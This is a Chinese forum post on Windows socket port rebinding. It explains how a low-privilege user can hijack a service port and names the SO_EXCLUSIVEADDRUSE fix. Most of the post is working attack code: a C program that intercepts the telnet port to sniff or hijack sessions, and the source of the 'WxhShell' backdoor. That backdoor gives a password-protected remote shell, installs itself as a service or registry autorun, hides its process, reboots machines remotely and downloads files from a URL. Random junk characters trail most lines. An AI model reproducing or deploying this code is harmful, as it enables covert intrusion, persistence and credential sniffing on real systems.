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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %J?xRv!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kVMg 1I@  
oLeq!K}re  
  saddr.sin_family = AF_INET; -G rE} L  
*L^,|   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 77f9(~ZnT  
N =}A Z{$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U%QI a TN*  
zwjgE6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [}=B8#Jl-C  
e X|m  
  这意味着什么?意味着可以进行如下的攻击: AQvudx)@"  
6A-|[(NS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /W<;Z;zk  
jV1.Yz (`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hMO=#up&  
wlqksG[B  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \Gvm9M  
cdT7 @  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .Yn_*L+4*  
kn 4`Fa;)O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Bj;'qB>3  
{4Cmu;u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 'zTLl8P  
'-~~-}= sJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1>h]{%I  
u&7[n_  
  #include VY4yS*y  
  #include _Y;W0Z  
  #include S2&4g/  
  #include    + =</&Tm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pl?`8@dI  
  int main() ?CPahU  
  { d\8l`Krs[_  
  WORD wVersionRequested; 9W2Vo [(  
  DWORD ret;  x'<X!gw  
  WSADATA wsaData; 3XV/Fb}!(i  
  BOOL val; )3EY;  
  SOCKADDR_IN saddr; ;HO=  
  SOCKADDR_IN scaddr; .#8 JCY  
  int err; /y}xX  
  SOCKET s; 9rf)gU3{+L  
  SOCKET sc; !%c\N8<>GD  
  int caddsize; )Ql%r?(F+  
  HANDLE mt; e(t\g^X  
  DWORD tid;   |@d\S[~^G  
  wVersionRequested = MAKEWORD( 2, 2 ); NC(~l  
  err = WSAStartup( wVersionRequested, &wsaData ); &V/Mmm T  
  if ( err != 0 ) { SE  %pw9  
  printf("error!WSAStartup failed!\n"); kt:! 7  
  return -1; s;Q!X ?Q  
  } @\#td5'  
  saddr.sin_family = AF_INET; /PIcqg  
   }o`76rDN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (f"4,b^]  
_q-*7hCQ`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [{,1=AB  
  saddr.sin_port = htons(23); SO!8Di  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o>pJPV  
  { SwMc pNo  
  printf("error!socket failed!\n"); |CRn c:  
  return -1; *$g-:ILRuZ  
  } vr =#3>  
  val = TRUE; $>LQ6|XRu  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X'iWJ8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wFZP,fQ9l  
  { &tj!*k'  
  printf("error!setsockopt failed!\n"); 4.t-i5  
  return -1; %EB/b  
  } Ysv" 6b}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ew4U)2J+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N~'c_l  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >z@0.pN]7  
c\j/k[\<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) PEZ!n.'S  
  { =UWI9M*sz  
  ret=GetLastError(); |yPu!pfl  
  printf("error!bind failed!\n"); I; rGD^  
  return -1; Cp0=k  
  } F:S}w   
  listen(s,2); =t?F6)Q  
  while(1) O:K2Y5R?B  
  { Y.p;1"  
  caddsize = sizeof(scaddr); LKDO2N  
  //接受连接请求 _H@DLhH|=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .7X^YKR  
  if(sc!=INVALID_SOCKET) }O p; g^W  
  { u>vL/nI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X^jfuA  
  if(mt==NULL) Xsa].  
  { 3!_XEN[  
  printf("Thread Creat Failed!\n"); & 1f+,  
  break; c-sfg>0^  
  } o ^uA">GH  
  } ^U/O !GK  
  CloseHandle(mt); u=e{]Ax#}  
  } N8df8=.kw  
  closesocket(s); "3J}b?u_[  
  WSACleanup(); _|`S3}q|d  
  return 0; ;!Fn1|)  
  }   ,eS)e+yzc2  
  DWORD WINAPI ClientThread(LPVOID lpParam) k+*u/neh  
  { "" EQE>d  
  SOCKET ss = (SOCKET)lpParam; %8v\FS  
  SOCKET sc; 1< ?4\?j  
  unsigned char buf[4096]; S3J^,*'  
  SOCKADDR_IN saddr; n+M<\  
  long num; 6ik$B   
  DWORD val; '~ 47)fN  
  DWORD ret; .T`%tJ-Em  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <1TAw.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <F'\lA9  
  saddr.sin_family = AF_INET; J<lW<:!3]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); JW&gJASGC  
  saddr.sin_port = htons(23); gjlx~.0d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !5!<C,U  
  { {{!-Gr  
  printf("error!socket failed!\n"); Q+{n-? :  
  return -1; %(Icz ?  
  } );YDtGip J  
  val = 100; %BQ`MZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BnY&f  
  { 2~[juWbz  
  ret = GetLastError(); BTxrp  
  return -1; kq-) ^,{y  
  } *m(=V1"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @2#lI  
  { s>c=c-SP.  
  ret = GetLastError(); k}rbim  
  return -1; }6ldjCT/,  
  } A@u@ift  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N$tGQ@  
  { e'<)V_  
  printf("error!socket connect failed!\n"); `d(ThP;g  
  closesocket(sc); yt2PU_),  
  closesocket(ss); ! d gNtI@  
  return -1; y1#1Ne_  
  } $:^td/p J  
  while(1) VxBo1\'  
  { w!XD/j N  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W@esITr  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +w~oH=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Uw:"n]G]D?  
  num = recv(ss,buf,4096,0);  0+8e,  
  if(num>0) |vC~HJpuv'  
  send(sc,buf,num,0); E" vS $  
  else if(num==0) 2KZneS`  
  break; ;FEqe 49  
  num = recv(sc,buf,4096,0); [fy LV`  
  if(num>0) K)P%;X  
  send(ss,buf,num,0); !@"OB~  
  else if(num==0) rZpXPI  
  break; QsW/X0YBv  
  } Fj!U|l\_9  
  closesocket(ss); H;"4 C8K7  
  closesocket(sc); OZ&o:/*HM  
  return 0 ; GN>@ZdVG}#  
  } H"F29Pu2  
mp3s-YfRc  
|l!aB(NW  
========================================================== 'hf8ZEW9'  
yDh6KUK  
下边附上一个代码,,WXhSHELL D/' dTrR  
+H2Qk4XFB  
========================================================== 4Po_-4  
Ea=P2:3*  
#include "stdafx.h" 2t,zLwBdnJ  
,"ql5Q4  
#include <stdio.h> cc3 4e  
#include <string.h> *lb<$E]="!  
#include <windows.h> >-c8q]()ly  
#include <winsock2.h> K,UMqAmk  
#include <winsvc.h> F:ELPs4"  
#include <urlmon.h> .G\7cZ  
T]$U""  
#pragma comment (lib, "Ws2_32.lib") #A.@i+Zv  
#pragma comment (lib, "urlmon.lib") :gC#hmm^  
BJ0?kX@  
#define MAX_USER   100 // 最大客户端连接数 'B}qZCy W  
#define BUF_SOCK   200 // sock buffer 048kPXm`  
#define KEY_BUFF   255 // 输入 buffer XX~,>Q}H=  
M^I(OuRMeI  
#define REBOOT     0   // 重启 hv+zGID7  
#define SHUTDOWN   1   // 关机 PI<vxjOK`  
1YMh1+1  
#define DEF_PORT   5000 // 监听端口 2T`!v  
=R\]=cRbg  
#define REG_LEN     16   // 注册表键长度 rM "l@3hP  
#define SVC_LEN     80   // NT服务名长度 c[e}w+ uB  
1:wQ.T  
// 从dll定义API i6N',&jFU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -$@h1Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .e5Mnd%$M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NEF# }s2=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jh$='Gn  
et+0FF ,  
// wxhshell配置信息 w#J2 wS  
struct WSCFG { A)KZa"EX  
  int ws_port;         // 监听端口 .p$(ZH =~  
  char ws_passstr[REG_LEN]; // 口令 B-ESFATc  
  int ws_autoins;       // 安装标记, 1=yes 0=no )}ROLe  
  char ws_regname[REG_LEN]; // 注册表键名 'f|o{  
  char ws_svcname[REG_LEN]; // 服务名 2+O'9F_v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4.(4x&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BORA(,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G / 5%.Bf@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^}C\zW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jqkqZF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8EEuv-aeo  
L8n|m!MOD  
}; y_9Ds>p!T  
6zn5UW#q  
// default Wxhshell configuration 5:U so{  
struct WSCFG wscfg={DEF_PORT, -{_PuJ "  
    "xuhuanlingzhe", 3mni>*q7d  
    1, y3ikWnx  
    "Wxhshell", 59-c<I/}f  
    "Wxhshell", Qei" '~1a  
            "WxhShell Service", (9h`3#  
    "Wrsky Windows CmdShell Service", &~w}_Fjk  
    "Please Input Your Password: ", "*H`HRi4T  
  1, h7I{ 4  
  "http://www.wrsky.com/wxhshell.exe", E!AE4B1bd  
  "Wxhshell.exe" c:g'.'/*  
    }; 8i,K~Bu=  
07$o;W@  
// 消息定义模块 '3H_wd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [8*)8jP3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (tQc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vcd\GN*4f  
char *msg_ws_ext="\n\rExit."; { BHO/q3  
char *msg_ws_end="\n\rQuit."; G#1GXFDO{  
char *msg_ws_boot="\n\rReboot..."; PxE3K-S)G  
char *msg_ws_poff="\n\rShutdown..."; \|ao`MMaD<  
char *msg_ws_down="\n\rSave to "; [1KuzCcK}  
bu"!jHPB  
char *msg_ws_err="\n\rErr!"; 0|b>I!_"g  
char *msg_ws_ok="\n\rOK!"; &VcV$8k  
]+$?u&0?w  
char ExeFile[MAX_PATH]; [trwBZ^D~  
int nUser = 0; bJ;'`sw1  
HANDLE handles[MAX_USER]; =I~mKn  
int OsIsNt; E.>4C[O  
MJrR[h]  
SERVICE_STATUS       serviceStatus; Tac$LS\Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m#F`] {  
9)=ctoZ'  
// 函数声明 ei{eTp4HpV  
int Install(void);  RX5dO%  
int Uninstall(void); 8KNZ](Dj  
int DownloadFile(char *sURL, SOCKET wsh); b_):MQ1{  
int Boot(int flag); FsryEHz  
void HideProc(void); T,tdL N-  
int GetOsVer(void); "wHFN>5B  
int Wxhshell(SOCKET wsl); eR"<33{  
void TalkWithClient(void *cs); 9&ids!W~yx  
int CmdShell(SOCKET sock); &! ?eL  
int StartFromService(void); *WT`o>  
int StartWxhshell(LPSTR lpCmdLine); ofv)SCjd  
8&aq/4:q0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vZoaT|3 G]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); veh<R]U  
ia 73?*mXT  
// 数据结构和表定义 ?3xzd P  
SERVICE_TABLE_ENTRY DispatchTable[] = :08,JL{  
{ baK$L;Xo:  
{wscfg.ws_svcname, NTServiceMain}, &JI8]JmU)  
{NULL, NULL} C73 kJa  
}; 4_cqT/  
# 4PVVu<  
// 自我安装 ^ovR7+V  
int Install(void)  ][h}  
{ e@OX_t_  
  char svExeFile[MAX_PATH]; iW /}#  
  HKEY key; (=@h23 vH  
  strcpy(svExeFile,ExeFile); > "=>3  
igR";OQk  
// 如果是win9x系统,修改注册表设为自启动 7x4PaX(  
if(!OsIsNt) { ,Vk3kmuvr]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5N&?KA-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <yFu*(Q  
  RegCloseKey(key); :zF,A,)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w=J3=T@TD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n#OB%@]<V  
  RegCloseKey(key); %Qdn  
  return 0; KNIn:K^/  
    } <?4V  
  } V /V9B2.$  
} *itUWpNhr  
else { h{HHLR  
R',rsGd`6j  
// 如果是NT以上系统,安装为系统服务 d,n 'n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &@Be2!%'9K  
if (schSCManager!=0) Y\?"WGL)p  
{ sI^Xb@'09$  
  SC_HANDLE schService = CreateService K}MK<2vU  
  ( <;Zmjeb+#  
  schSCManager, (rm?jDm   
  wscfg.ws_svcname, I75DUJqy]  
  wscfg.ws_svcdisp, &AbNWtCV+G  
  SERVICE_ALL_ACCESS, -0x #  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8&`LYdzt  
  SERVICE_AUTO_START, oHn Ky[1  
  SERVICE_ERROR_NORMAL, =.]4;z  
  svExeFile, SmSH2m-  
  NULL, e [mm  
  NULL, 6.nCV 0xA  
  NULL, FSW_<%  
  NULL, <+vw@M  
  NULL ;P%1j|7  
  ); _C[q4?  
  if (schService!=0) F%D.zvKN  
  { 9H`XeQ.  
  CloseServiceHandle(schService); |_aa&v~  
  CloseServiceHandle(schSCManager); GH:jH]u!V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]R f[y  
  strcat(svExeFile,wscfg.ws_svcname); Xg!{K3OS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MC.) 2B7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MJ [m  
  RegCloseKey(key); "Nbq#w\  
  return 0; A1>OY^p3%  
    } hAnPXiD  
  } >rKIG~P_  
  CloseServiceHandle(schSCManager); c?[I?ytl  
} MH9q ;?.J  
} (b-MMr  
+V046goX W  
return 1; 9} M?P  
} ?:I*8Fj  
hVAn>_(  
// 自我卸载 RF53Jyt  
int Uninstall(void) tq6!`L}3  
{ _ y8Wn}19f  
  HKEY key; 'Nn zk  
""F5z,'  
if(!OsIsNt) { f=gW]x7'R+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V/ uP%'cd  
  RegDeleteValue(key,wscfg.ws_regname); '3D XPR^B6  
  RegCloseKey(key); T9_RBy;%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gS]@I0y8 .  
  RegDeleteValue(key,wscfg.ws_regname); l=)xo@6  
  RegCloseKey(key); n QZwC  
  return 0; , I (d6  
  } /quc}"__  
} gANuBWh8T  
}  J^5So  
else { ][h%UrV  
?2{Gn-{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &LZn FR  
if (schSCManager!=0) {xB!EQ"  
{ =I;ZMJR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Tc &z:  
  if (schService!=0) .A{tQ1&_  
  { QIvVcfM^  
  if(DeleteService(schService)!=0) { ^"1n4im  
  CloseServiceHandle(schService); ~{B7 k:  
  CloseServiceHandle(schSCManager); ju8q?Nyhs  
  return 0; MvHm)h  
  } j9 4=hJVKi  
  CloseServiceHandle(schService); BBRR)  
  } J0\Fhe0'  
  CloseServiceHandle(schSCManager); 1AfnzGvA  
} #+HJA42  
} `nv~NLkl  
" H&W}N  
return 1; ex9g?*Q  
} #9}D4i.`}  
u#;7<.D  
// 从指定url下载文件 (%e .:W${  
int DownloadFile(char *sURL, SOCKET wsh) T?soJ]A  
{ ?2;&O`x*  
  HRESULT hr; E+R1 !.  
char seps[]= "/"; q`H_M{26!y  
char *token; mD0f<gJ1  
char *file; ith 3 =`3  
char myURL[MAX_PATH]; Bp`]  
char myFILE[MAX_PATH]; A8fOQ  
;F!5%}OcL%  
strcpy(myURL,sURL); iWB=sL&p  
  token=strtok(myURL,seps); aS{n8P6vW  
  while(token!=NULL) z/WE,R  
  { [.'|_l  
    file=token; <+Dn8  
  token=strtok(NULL,seps); 3<Zq ]jk?n  
  } bv9i*]  
OgQV;at  
GetCurrentDirectory(MAX_PATH,myFILE); ?U5{Wa85D  
strcat(myFILE, "\\"); UkT=W!cq  
strcat(myFILE, file); T/Gz94c  
  send(wsh,myFILE,strlen(myFILE),0); B^Nf #XN(  
send(wsh,"...",3,0); ;R5`"`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %C'?@,7C  
  if(hr==S_OK) k)= X}=w  
return 0; 6]_pIf  
else ]kG"ubHV?h  
return 1; zyc"]IzOU  
YEs&  
} YX7L?=;.@  
*:YiimOY"  
// 系统电源模块 C'+YQ]u  
int Boot(int flag) WJndoB.f[2  
{ udF~5w H  
  HANDLE hToken; /-ch`u md  
  TOKEN_PRIVILEGES tkp; 2LL'J7  
w%VU/6~  
  if(OsIsNt) { tl4V7!U@^z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =J]]EoX/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,p@y] cr  
    tkp.PrivilegeCount = 1; *,)Md[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :q7Wy&ow  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k\YG^I  
if(flag==REBOOT) { a| x.C6P e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) axRV:w;E<  
  return 0; [b<oDX#  
} |zNX=mAV  
else { _AYK435>N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o\<ULW*  
  return 0; *@r/5pM2}  
} 69?wc!  
  } Un(aW=PQ0  
  else { M~#gRAUJ  
if(flag==REBOOT) { %@ODs6 R0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bv9]\qC]T<  
  return 0; p2[n$61   
} _476pZ_  
else { N/'b$m5= S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >~sI8czR*  
  return 0; -M~:lK]n   
} du lI&_x  
} GR.^glG?6  
kr5">"7  
return 1; }b"yU#`Q\  
} Y3cMC)  
qu6D 5t  
// win9x进程隐藏模块 D|L9Vs`  
void HideProc(void) C12Fl  
{ %2/EaaR  
ksqQM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `$<.pOm  
  if ( hKernel != NULL ) m 3hrb-  
  { 2K6qY)/_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c|B('3h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 18d4fR   
    FreeLibrary(hKernel); 4 Y9`IgQ  
  } #u(^0' P  
]G= L=D^cK  
return; V-2(?auZd  
} _LUhZlw  
\0I_<  
// 获取操作系统版本 ,RI Gc US  
int GetOsVer(void) Y>T-af49  
{ I-)+bV G  
  OSVERSIONINFO winfo; 4Zddw0|2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m@F`!qY~Y\  
  GetVersionEx(&winfo); ~&_z2|UXp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T_ <@..C  
  return 1; #PW9:_BE  
  else  #ut  
  return 0; AW'0,b`v  
} kGS;s B  
qu@~g cE  
// 客户端句柄模块 rjAn@!|:+  
int Wxhshell(SOCKET wsl) T#Z^s~7&I  
{ o5O#vW2Il&  
  SOCKET wsh; (k)v!O-  
  struct sockaddr_in client; ww3-^v  
  DWORD myID; z`}qkbvi  
1;8UC;,  
  while(nUser<MAX_USER) S-b/S5  
{ EIAc@$4  
  int nSize=sizeof(client); TR`U-= jH,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8)3*6+D  
  if(wsh==INVALID_SOCKET) return 1; (9 GWbB?  
tBWrL{xLe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rmm0/+jY  
if(handles[nUser]==0) NiK4d{E&  
  closesocket(wsh); E\EsWb  
else glxsa8  
  nUser++; TnA-;Ha  
  } J#(LlCs?@c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D& i94\vVa  
}W8;=$jr  
  return 0; 9uO 2Mm  
} c )g\/  
RnE4<Cy  
// 关闭 socket w<3#1/g!2B  
void CloseIt(SOCKET wsh) >J?fl8  
{ $dC?Tl|B0  
closesocket(wsh); EU;9 *W<  
nUser--; (@VMH !3  
ExitThread(0); LEf^cM=>  
} D%SlAzZ3  
X-Kh(Z  
// 客户端请求句柄 2(+2+ }  
void TalkWithClient(void *cs) q`a'gJx#y  
{ "| g>'wM*  
@%uUiP0  
  SOCKET wsh=(SOCKET)cs; @ioJ] $o7  
  char pwd[SVC_LEN]; E_wCN&`[  
  char cmd[KEY_BUFF]; [ /b2=>  
char chr[1]; j0aXyLNX  
int i,j; lU\ [aNs  
]^7@}Ce_  
  while (nUser < MAX_USER) { h"Q8b}$^)  
wv1iSfW  
if(wscfg.ws_passstr) { 5m 4P\y^a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q!7ANib6O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]|a g  
  //ZeroMemory(pwd,KEY_BUFF); ,PW'#U:  
      i=0; i)#dWFDTv  
  while(i<SVC_LEN) { i$#;Kpb`^  
O+]ZyHnB  
  // 设置超时 R| , g<  
  fd_set FdRead; KYI/  
  struct timeval TimeOut; TDjm2R~9FS  
  FD_ZERO(&FdRead); "m8^zg hL  
  FD_SET(wsh,&FdRead);  %OCb:s  
  TimeOut.tv_sec=8; j2[+z tG  
  TimeOut.tv_usec=0; tw/dD +  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9:|{6_Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #q$HQ&k  
()?(I?II  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n;_sG>N  
  pwd=chr[0]; v{N`.~,^  
  if(chr[0]==0xd || chr[0]==0xa) { pE0Sw}A:9  
  pwd=0; 2MIi=c:oqK  
  break; ^ VyKd  
  } AeM^73t  
  i++; BwpqNQN  
    } 7S :\"A7  
lb3b m)@:  
  // 如果是非法用户,关闭 socket Bm<`n;m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k]|~>9eY]  
} lfgq=8d  
/Cr%{'Pzk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xLajso1g69  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o:'MpKm  
)dw'BNz5hT  
while(1) { *:7rdzn  
}R2u@%n{  
  ZeroMemory(cmd,KEY_BUFF); J]'zIOQ  
^uc=f2=>,  
      // 自动支持客户端 telnet标准   {}n^cq  
  j=0; iWkWR"ys y  
  while(j<KEY_BUFF) { Q3~H{)[Kq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); khxnlry  
  cmd[j]=chr[0]; t{9GVLZ  
  if(chr[0]==0xa || chr[0]==0xd) { WpP}stam/  
  cmd[j]=0; _|2:_N=   
  break; F/{!tx  
  } 'H>^2C iM  
  j++; RtS+<^2a;  
    } %sP*=5?vA  
Wn2NMXK  
  // 下载文件 >+1duAC  
  if(strstr(cmd,"http://")) { ED gag  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .`eN8Dl1  
  if(DownloadFile(cmd,wsh)) h[Y1?ln&h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K\r8g=U  
  else + &Eqk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YD6'#(  
  } (w3YvG.  
  else { X+9>A.92  
ZLejcYS  
    switch(cmd[0]) { ouQ T  
  k4;7<j$ir  
  // 帮助 4+8@`f>s  
  case '?': { g3y~bf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @": ^)87  
    break; tyFzSrfc  
  } 8GUX{K  
  // 安装 C1)!f j=  
  case 'i': { k y7Gwc  
    if(Install()) 1))8 A@,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oG\Vxg*  
    else 2[W&s&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S=5o < 1  
    break; lL3U8}vn  
    } +r2-S~f3N  
  // 卸载 CA~-rv  
  case 'r': { ?6U0PChy  
    if(Uninstall()) R-$!9mnr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Fl9>C"u  
    else U[MA)41  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )ez9"# MH'  
    break; W|mo5qrLS2  
    } m-, x<bM?  
  // 显示 wxhshell 所在路径 PJH&  
  case 'p': { 3]S$ih&A  
    char svExeFile[MAX_PATH]; gM:".Ee  
    strcpy(svExeFile,"\n\r"); q2E_ A  
      strcat(svExeFile,ExeFile); ;e*!S}C,  
        send(wsh,svExeFile,strlen(svExeFile),0); 7!E,V:bt'  
    break; sO@Tf\d  
    } zrb}_  
  // 重启 B]tQ(s~  
  case 'b': { O\ r0bUPE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {P_.~0pc*  
    if(Boot(REBOOT)) 6i/(5 nQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5\ nAeP  
    else { F)eelPZ+,  
    closesocket(wsh); 4V`G,W4^J  
    ExitThread(0); 5.GR1kl6  
    } 'H;*W|:-]  
    break; evmeqQG=  
    } L!xi  
  // 关机 ' `Hr}  
  case 'd': { Dlvz )  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +M/ %+l  
    if(Boot(SHUTDOWN)) \9T7A&  
